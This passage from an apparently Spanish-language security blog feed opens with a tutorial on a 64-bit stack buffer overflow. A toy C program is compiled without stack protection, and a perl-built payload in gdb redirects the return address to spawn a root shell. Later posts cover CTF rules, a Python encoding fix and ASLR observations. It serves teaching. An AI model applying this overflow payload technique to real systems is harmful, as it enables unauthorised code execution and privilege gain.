}<br /> printf("exploit me if you can");<br /> <br /> vuln(argv[1]);<br /> return 0;<br />}<br /><br />### No SSP. Min preferred stack boundary on x64 is 4 bytes<br />root@bt:~# gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary=4<br /><br />### Okay, let's GDB rocks:<br />root@bt:~# gdb -q vuln<br />Reading symbols from /root/vuln...(no debugging symbols found)...done.<br />(gdb) r `perl -e 'print "123456789012345678901234AAAA"'`<br />Starting program: /root/vuln `perl -e 'print "123456789012345678901234AAAA"'`<br /><br />Program received signal SIGSEGV, Segmentation fault.<br />0x0000000041414141 in ?? ()<br /><br />### The Segmentation fault is what we wanted to see. Let's disasm our target func<br />(gdb) disas nunca_se_ejecuta<br />Dump of assembler code for function nunca_se_ejecuta:<br /> 0x0000000000400604 <+0>: push %rbp<br /> 0x0000000000400605 <+1>: mov %rsp,%rbp<br /> 0x0000000000400608 <+4>: mov $0x4007c0,%edi<br /> 0x000000000040060d <+9>: callq 0x4004f8 <system@plt><br /> 0x0000000000400612 <+14>: mov $0x4007c8,%eax<br /> 0x0000000000400617 <+19>: mov %rax,%rdi<br /> 0x000000000040061a <+22>: mov $0x0,%eax<br /> 0x000000000040061f <+27>: callq 0x4004c8 <printf@plt><br /> 0x0000000000400624 <+32>: leaveq <br /> 0x0000000000400625 <+33>: retq <br />End of assembler dump.<br /><br />### Si queremos entrar a la funcion que nunca se llama, podemos saltar aqui:<br />0x0000000000400608 <+4>: mov $0x4007c0,%edi</pre>¿Muchos NULLs? No problem, podemos llegar a esa direccion de memoria en direccionamiento 64 bits saltando a 0x00400608. ¿Aun hay un byte nulo que abortaria el programa? da igual, thx little-endian :) <pre>(gdb) r `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'`<br />The program being debugged has been started already.<br />Start it from the beginning? (y or n) y<br /><br />Starting program: /root/vuln `perl -e 'print "123456789012345678901234\x08\x06\x40\x00"'`<br />sh-4.1# whoami<br />root</pre>:) <pre>sh-4.1# exit<br /><br />Program received signal SIGSEGV, Segmentation fault.<br />0x00007fffffffe4a8 in ?? ()<br /><br />## bye<br />(gdb) q<br />A debugging session is active.<br /><br /> Inferior 1 [process 20741] will be killed.<br /><br />Quit anyway? (y or n) y<br />root@bt:~#</pre>Probado en un kernel 4.1.7-grsec , system() sigue devolviendonos una shell, y una vez salimos de la shell, cuando retornamos de la funcion, PaX mata el programa explotado.<br><br>Have fun-Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-2887913708208960400.post-65507235819925959012013-01-06T03:01:00.000-08:002021-05-30T12:46:45.116-07:00Mensaje de Hugo Castellano en RootedCON 2012Sabias palabras de un carismatico que ya no esta con nosotros...<br><br><iframe src="http://player.vimeo.com/video/46109175" width="500" height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-2887913708208960400.post-31013953460274771012012-11-25T03:52:00.000-08:002024-02-07T01:57:34.400-08:00Capture the flag 2013<div class="separator" style="clear: both;"><img alt="" border="0" height="238" width="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx0_J2hgVHBIhia_GdOEkdx8ehHH-mk5xL8_vJWtjs-5Bi6OnxsutEU2yJwW5yukIeJj5Fp4rAdx-Cs7Qo_CznL3ZGqu-YeCOyodiO8irEweiwatisvY8-tslEHv8got0A4lj-6Ed1_YCzwJoe7xVwtxV1FJ7ILFUt48uej8DmzZNTpviM1sqZZ0BxslKo/s1600/uh.webp"/></div>
<li>Every Fortress (Base Camp) has to run all major internet services such as SMTP, POP, IMAP, FTP, etc. We will make a list of minimum required services.</li><li>Your Fortress must have at least one CMS (content management system) + specific plugins (Photo albums, SM share (social media share) embedded video plugin and so on. We will also provide a list.</li><li>Your Fortress must have at least two different internet browsers ???.</li><li>Your Fortress must contain at least 3 web applications.</li><li>Your Fortress must run at least 2 different databases.</li>Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-2887913708208960400.post-35720878075388944692012-10-31T13:29:00.000-07:002021-05-30T12:46:45.837-07:00windows codepage 65001 is a pain...so encode utf-8 to unicode as soon as possible!<br><br>tildes/eñes/etc no se imprimen bien. Existen bugs en python con la codificacion 65001 de Windows que se arrastran hasta la version 3 de la piton. Bugs como <a href="http://bugs.python.org/issue1602"><b>bugs.python.org/issue1602</b></a> continuan abiertos. Yo me las apañe asi:<br><br>Como ejemplo para <a href="http://code.google.com/p/google-apps-manager/"><b>gam</b></a> (aunque es aplicable a cualquier cosa que maneje por ejemplo utf-8) lo que hice fue definir la siguiente funcion al principio del codigo:<br><br><pre>def to_unicode_or_die(<br /> obj, encoding='utf-8'):<br /> if isinstance(obj, basestring):<br /> if not isinstance(obj, unicode):<br /> obj = unicode(obj, encoding)<br /> return obj</pre>Y llamarla por ejemplo en la parte del codigo que imprimia por pantalla. Cambiando: <pre>print ' ' + group['groupName'] + ' <' + group['groupId'] + '> (' + directIndirect + ' member)'</pre>por: <pre>print ' ' + to_unicode_or_die(group['groupName']) + ' <' + to_unicode_or_die(group['groupId']) + '> (' + directIndirect + ' member)'</pre>Y asi funciona partiendo de cualquier <i>codepage</i> activo en el cmd/powershell/lo_que_sea<br><br>La funcion urllib2 en Linux/OSX bajando una pagina con codificacion utf-8 en la cabecera Content-Type lo manejan bien de serie, pero si no podemos dedicar un *nix, en windows lo mejor que se me ocurrio para solucionarlo fue convertir a Unicode ASAP.<br><br>Happy coding!Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2887913708208960400.post-3656350906380421782012-09-21T12:26:00.000-07:002021-11-12T11:20:26.166-08:00Averigua en que segmento coloca el S.O. las variablesDisclaimer: los textos de exploiting antiguos podrian tener info inexacta o/y erronea.<br><br>Hola Exploiters, <br><br><a href="http://foro.overflowedminds.net/viewtopic.php?f=29&t=74"><u><b>Este codigo</b></u></a> me parecio util para averiguar en que segmento de memoria coloca el S.O. las variables de un codigo C segun sean globales, locales, etc. El codigo tambien muestra el valor de cada variable y su direccion de memoria en esa ejecución. Y alguna cosa mas. <br><br>El resultado es que las variables definidas como static en el codigo se colocan siempre en la misma posicion de memoria. Lo mismo para las globales. Tengo en mi sistema /proc/sys/kernel/randomize_va_space = 2 <br><br>Es decir, en una compilacion estandar con gcc 4.4.3 <pre>gcc getseg.c -o getseg</pre>ejecutamos y <pre>root@bt:~# ./getseg <br />global_initialized_var is at address 0x00601028<br />static_initialized_var is at address 0x0060102c<br /><br />static_var is at address 0x00601040<br />global_var is at address 0x00601044<br /><br />heap_var is at address 0x01b99010<br /><br />stack_var is at address 0xe590418c<br />the function's stack_var is at address 0xe590416c<br />root@bt:~# ./getseg <br />global_initialized_var is at address 0x00601028<br />static_initialized_var is at address 0x0060102c<br /><br />static_var is at address 0x00601040<br />global_var is at address 0x00601044<br /><br />heap_var is at address 0x01b03010<br /><br />stack_var is at address 0x1962a25c<br />the function's stack_var is at address 0x1962a23c<br />root@bt:~#</pre><br>ASLR no ha aleatorizado las posiciones de memoria de las variables globales. Las static tambien residen siempre en la misma posicion de memoria. <br><br>La version de glibc es la 2.11.1 y el codigo esta disponible en <a href="http://foro.overflowedminds.net/viewtopic.php?f=29&t=74"><b>foro.overflowedminds.net/viewtopic.php?f=29&t=74</b></a><br><br><a href="https://www.google.com/search?q=%22okay,+let's+gdb+rocks%22"><u><b>Okay, let's GDB rocks:</b></u></a><br><br>Have fun, <br><br><i>The 'Segmentation fault (core dumped)' is what we wanted to see :)</i><br>mudge[at]l0pht[.]com 10/20/95 How to write Buffer OverflowsUnknownnoreply@blogger.com0